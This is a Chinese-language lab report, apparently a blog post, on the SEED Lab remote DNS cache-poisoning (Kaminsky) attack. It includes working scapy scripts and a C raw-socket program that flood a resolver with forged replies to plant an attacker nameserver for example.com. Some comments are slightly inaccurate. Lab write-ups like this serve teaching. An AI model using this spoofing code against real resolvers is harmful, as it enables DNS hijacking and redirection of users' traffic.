SEEDLab DNS_Remote Attack 实验报告

实验主机配置

主机名IP地址
用户主机10.0.2.5
本地DNS服务器10.0.2.7
攻击者10.0.2.4

实验环境

实验步骤与结果分析

task1 环境安装

由于DHCP为主机自动配置,同时会对etc/resolv.conf文件机进行自动写入覆盖,所以需要进行在用户机的/etc/resolvconf/resolv.conf.d/head 文件中加入 nameserver 10.0.2.7,其中head文件内容会再DHCP自动运行写覆盖etc/resolv.conf文件时,将head文件内容写入etc/resolv.conf文件中,查看两个文件内容,确实相同,结果如下:

10.0.2.7 为设置的本地 DNS 服务器, 当随后测试:

结果表明此时的用户主机的本地dns服务器已经变成了我们设定的10.0.2.7.

task2 Configure the Local DNS Server (the Server VM)

按照实验要求进行配置相关文件,主要对此文件进行能如下配置(10.0.2.4是本实验攻击者IP):

这个配置可以帮助我们在没有购买attacker32.com域的前提下,可以在攻击成功(本地缓存中某个域名example.com的查询将全部指向attacker32.com) 后直接查询设置的攻击者IP:10.0.2.4

task3 Configure the Attacker VM

按照实验要求下载所需要的文件后,对两个文件分别进行如下配置:
attacker32:
attacker.com.zone配置
example文件:

== 上面图片中的问题,目前还没有想明白作用是什么? ==

task4 Testing the Setup

Get the IP address of ns.attacker32.com.

在用户机测试结果:

过程分析:
由于在task2中,我们在本地dns服务器配置了attacker32.com的域名与IP地址的配置对应,使attacker32.com域指向了攻击者主机10.0.2.4,而在攻击者主机10.0.2.4中配置了bind中的attacker.com.zone文件中的IP主机名的映射关系,如图:attacker.com.zone配置
所以理论上我们会查询到的IP地址为10.0.2.19,根据实验结果,相符合,同时使用wireshark抓包,发现过程与分析一致.

Get the IP address of www.example.com

不加@ns.attacker32.com,可以查到官方合法IP地址:

加@ns.attacker32.com,查询失败:

失败的原因如下:
加@ns.attacker32.com,表示去ns.attacker32.com主机查询www.example.com的IP地址,同时由于在上面实验中得到了ns.attacker32.com了,会在本地dns缓存中,本地dns会直接返回对应IP,以及其他字段信息,所以wireshark抓包测试,得到如下结果:

本地dns回复用户具体信息:

同时由于10.0.2.19主机不存在,主机便不断发送ARP请求报文查询对应MAC地址,由于主机不存在,ARP查询报文不断发送,导致超时失败,抓包结果如下:

Attack Task

task 4: Construct DNS request

在攻击者主机运行如下代码:

#!/usr/bin/python
from scapy.all import *
def SendPacket():
	IPpkt=IP(dst='10.0.2.7',src='10.0.2.4') #dst:DNS server IP --- src:attacker IP
	UDPpkt=UDP(dport=53, sport=2222 , chksum=0 )
	Qdsec=DNSQR(qname='www.example.com')
	DNSpkt=DNS(id=0xaaaa, qr=0, qdcount=1,ancount=0,nscount=0,arcount=0,qd=Qdsec)
	Requestpkt=IPpkt/UDPpkt/DNSpkt
	send(Requestpkt)
	
SendPacket()

抓包得到如下:

由于dns请求数据包为伪造,所以当主机收到回复的dns报文后,会产生ICMP端口不可达的回复报文.

task 5: Spoof DNS Replies

在攻击者主机运行如下代码:

#!/usr/bin/python
from scapy.all import *
def ReplyPacket():
	name = 'www.example.com'
	domain = 'example.com' #域名
	ns = 'attacker32.com' #要伪造的目的域名
	Qdsec = DNSQR(qname=name)
	Anssec = DNSRR(rrname=name, type='A', rdata='1.2.3.4', ttl=259200)
	NSsec = DNSRR(rrname=domain, type='NS', rdata=ns, ttl=259200)
	dns = DNS(id=0xAAAA, aa=1, rd=1, qr=1,
	qdcount=1, ancount=1, nscount=1, arcount=0,
	qd=Qdsec, an=Anssec, ns=NSsec)
	ip = IP(dst='10.0.2.7', src='93.184.216.34')
	udp = UDP(dport=3333, sport=53, chksum=0)
	reply = ip/udp/dns
	send(reply)

ReplyPacket()

由于在此任务的实验过程中被攻击的主机没有进行dns查询,所以也不会出现接受回复的结果,通过wireshark抓包测试,得到如下结果:

同样会出现端口不可达的ICMP回复报文.

task 6 Launch the Kaminsky Attack

在实验过程中,由于我们需要利用的漏洞为一个时间差间隙,即在本地DNS服务器接收到我们伪造的example.com域名上的主机名*****.example.com的IP查询报文后,由于本地服务器并不可以解析,所以向example.com域服务器发送一个询问报文,真实的example.com域服务器IP经过查询后,把如果*****.example.com的IP地址存在,则返回IP,不存在,则返回没有此主机名IP的结果,我们利用此间隙,当我们伪造报文成功,并且在真实dns回复数据包之前到达本地dns服务器,本地des服务器就会接受我们伪造的数据包,从而达到欺骗成功的目的.

但是,由于远程攻击,所以我们不会知道16bit的transaction ID,(源端口号也是随机数,需要进行猜测,但是为了简化实验,固定为33333) 这个数据需要我们猜测,所以需要进行多次测试,提高碰撞的成功率.

python语法简单,方便构造,但是发送数据包速度过慢,导致对漏洞时间间隙的利用率下降,成功率降低,所以使用需要C语言,为了利用python中scapy库构造数据包简单的优点,我们可以在python程序中构造数据包并写入文件,在C语言程序中读取数包文件,并且进行修改部分参数,进行发送伪造数据包.

针对此思路,我们进行实验:

利用python生成Query.bin文件

使用如下代码:

#!/usr/bin/python
from scapy.all import *
def GenerateQueryPacket():
	targetName='abcde.example.com' #abcde为随意设定,后续会修改
	IPpkt=IP(dst='10.0.2.7',src='10.0.2.4') #dst:DNS server IP --- src:attacker IP
	UDPpkt=UDP(dport=53, sport=1234 , chksum=0 )#源端口可以任意设置
	Qdsec=DNSQR(qname=targetName)
	DNSpkt=DNS(id=0xaaaa, qr=0, qdcount=1,ancount=0,nscount=0,arcount=0,qd=Qdsec)
	Querypkt=IPpkt/UDPpkt/DNSpkt
	# Save the packet data to a file
	with open('Query.bin', 'wb') as f:
		f.write(bytes(Querypkt))
GenerateQueryPacket()

其中查询的域名初步设定为abcde.example.com,可随意设定

利用python生成Reply.bin文件

使用如下代码:

#!/usr/bin/python
from scapy.all import *
# Construct the DNS header and payload
def MainProcess():
	targetName = 'twysw.example.com'#twysw为随意设定,后续会修改,但是长度需要固定
	targetDomain = 'example.com'
	Qdsec = DNSQR(qname=targetName)
	Anssec = DNSRR(rrname=targetName, type='A', rdata='1.2.3.4', ttl=259200)
	NSsec  = DNSRR(rrname=targetDomain, type='NS',
			   rdata='ns.attacker32.com', ttl=259200)
	dns= DNS(id=0xAAAA, aa=1, rd=0, qr=1,
			 qdcount=1, ancount=1, nscount=1, arcount=0,
			 qd=Qdsec, an=Anssec, ns=NSsec)
	# Construct the IP, UDP headers, and the entire packet
	ip = IP(dst='10.0.2.7', src='199.43.135.53', chksum=0)  # 199.43.135.53和199.43.133.53任选一个即可,C程序中会进行修改参数 
	udp = UDP(dport=33333, sport=53, chksum=0)#33333为为简化实验而固定的一个参数
	pkt = ip/udp/dns
	# Save the packet to a file
	with open('Reply.bin', 'wb') as f:
		f.write(bytes(pkt))

MainProcess()

域名twysw.example.com为随意设定,但是为了方便后续实验,可以固定域名长度,否则不方便进行后续文件的域名offset参数的确定,使用bless进行查看offset参数,此时的Reply文件中offset参数如下:

参数名称offset值
Transaction ID28
第一个twysw.example.com41
第二个twysw.example.com64
源IP地址12

发送询问与伪造回复程序(C语言)

使用如下代码:

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include<time.h>

#define MAX_FILE_SIZE 2000
#define TARGET_IP "10.0.2.7" 
int send_packet_raw (int sock, char *ip, int n);
char* GenerateRand();

int main()
{
    // Create raw socket
    int enable=1;
    int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &enable, sizeof(enable));

    //####read Query.bin to ip1[] Start #########
    FILE *f1 = fopen("Query.bin", "rb");
    if (!f1) 
    {
        perror("Can't open 'Query.bin'");
        exit(0);
    } 
    unsigned char ip1[MAX_FILE_SIZE];
    int n1 = fread(ip1, 1, MAX_FILE_SIZE, f1);
    //####read Query.bin End #########
    

    //####read Reply.bin to ip2[]  Start #########
    FILE *f2 = fopen("Reply.bin", "rb");
    if (!f2) 
    {
        perror("Can't open 'Reply.bin'");
        exit(0);
    } 
    unsigned char ip2[MAX_FILE_SIZE];
    int n2 = fread(ip2, 1, MAX_FILE_SIZE, f2);
    //####read Reply.bin End#########

    srand((unsigned)time(NULL));
    for(int temp=0;temp<200;temp++) //重复200次
    {
        // #######send query Begin ############
        char*name=GenerateRand();
        // Modify the name in the question field (offset=41)
        memcpy(ip1+41,name, 5); 
        send_packet_raw(sock, ip1, n1);
        // #######send query End ############

        //  #######send Mult reply Begin #########
        //  Modify the name in the question field (offset=41)
        memcpy(ip2+41, name , 5); 
        // Modify the name in the answer field (offset=64)
        memcpy(ip2+64,name, 5);
        // Modify the IP addr in the src IP field (offset=14) 199.43.133.53->199.43.135.53
        char c='\x87';
        memcpy(ip2+14,&c, 1);
        for (int id=1; id<400; id++)
        {
            // Modify the transaction ID field (offset=28)
            unsigned short id_net_order;
            id_net_order = htons(id);
            memcpy(ip2+28, &id_net_order, 2); 
            // Send the IP packet out
            send_packet_raw(sock, ip2, n2);
        } 
        // Modify the IP addr in the src IP field (offset=14) 199.43.135.53->199.43.133.53
        char c2='\x85';
        memcpy(ip2+14,&c2, 1); 
        for (int id=1; id<400; id++)
        {
            // Modify the transaction ID field (offset=28)
            unsigned short id_net_order;
            id_net_order = htons(id);
            memcpy(ip2+28, &id_net_order, 2); 
            // Send the IP packet out
            send_packet_raw(sock, ip2, n2);
        }
        // #######send Mult Reply End#########


        free(name);
        name=NULL; // A good habit for security
        printf("######\thave tried %d\t times, Start Next######### \n",temp);
        usleep(1000); //1000ms delay
    }
    close(sock);
}

char* GenerateRand()
{
  char a[26]="abcdefghijklmnopqrstuvwxyz";
// Generate a random name of length 5
  char*name=malloc(5);
  for (int k=0; k<5; k++)
    name[k] = a[rand() % 26];
  return name;
}


int send_packet_raw(int sock, char *ip, int n)
{
  struct sockaddr_in dest_info;
  dest_info.sin_family = AF_INET;
  dest_info.sin_addr.s_addr = inet_addr(TARGET_IP);
  int r = sendto(sock, ip, n, 0, (struct sockaddr *)&dest_info, sizeof(dest_info));
}

代码中各个参数解释:

为什么更换IP地址(199.43.135.53与199.43.133.53)?

这是因为example.com有两个IP:199.43.135.53与199.43.133.53,在实验过程中我们发现,两个IP都会被使用,且随机切换,为了提高成功率,所以我们每次伪造回复数据包时,两个IP地址都进行伪造,其中相关代码行如下:

` // Modify the IP addr in the src IP field (offset=14) 199.43.133.53->199.43.135.53
        char c='\x87';
        memcpy(ip2+14,&c, 1); `

参数offset 为14,通过bless查看二进制文件可以得到.

为什么伪造id数目设定为400,可以再增加吗?

在进行wireshark测试过程中,我们发现使用C语言发送一个数据包大约为2ms,而我们可以利用的的本地DNS服务器发送的查询报文与回复报文之间的间隙时间大约为3000ms,所以理论上我们可以进行伪造1500个报文,可以在正确报文到达之前被接受,此时,我们针对两个IP分别伪造400个,进行测试,但是理论上可以进行再次增加,可以有效提高成功率,缩短时间.如果成功率低,可以进行改变此参数进行测试,需要实际情况实际分析.

为什么设定usleep(1000)?

延迟1000ms,进行下一轮测试.可随意设定

实验结果

运行上面C语言程序send_dns.py:

可以多次运行,以达到缓存成功目的,进行多次测试,平均运行2次,检查本地DNS服务器缓存,使用如下命令:

sudo rndc dumpdb -cache
cat /var/cache/bind/dump.db | grep attacker.com

最终得到如下结果,则说明伪造数据包成功,被本地DNS服务器缓存:

此时,使用用户主机使用dig进行测试,得到如下结果:

dig @ns.attacker32.com www.example.com


但是在实验过程中,并不会得到上图的查询结果,仍然出现下图失败结果:
经过wireshark抓包测试,我们发现出现大量ARP请求报文,针对10.0.2.19的询问报文,What??10.0.2.19, 见过!!! 再想一想,嗯,在task2中,对attacker.com.zone文件的配置,ns.attacker.com被设定为10.0.2.19,而这个主机是不存在的,所以出现此结果,进行如下修改,修改为10.0.2.4:
在这里插入图片描述
随后,即可得到成功解析结果.

dig www.example.com

说明攻击成功.

task7 Result Verification

上面已经验证.

实验总结与思考

有时间再写,玩去了,哈哈哈

  • 5
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值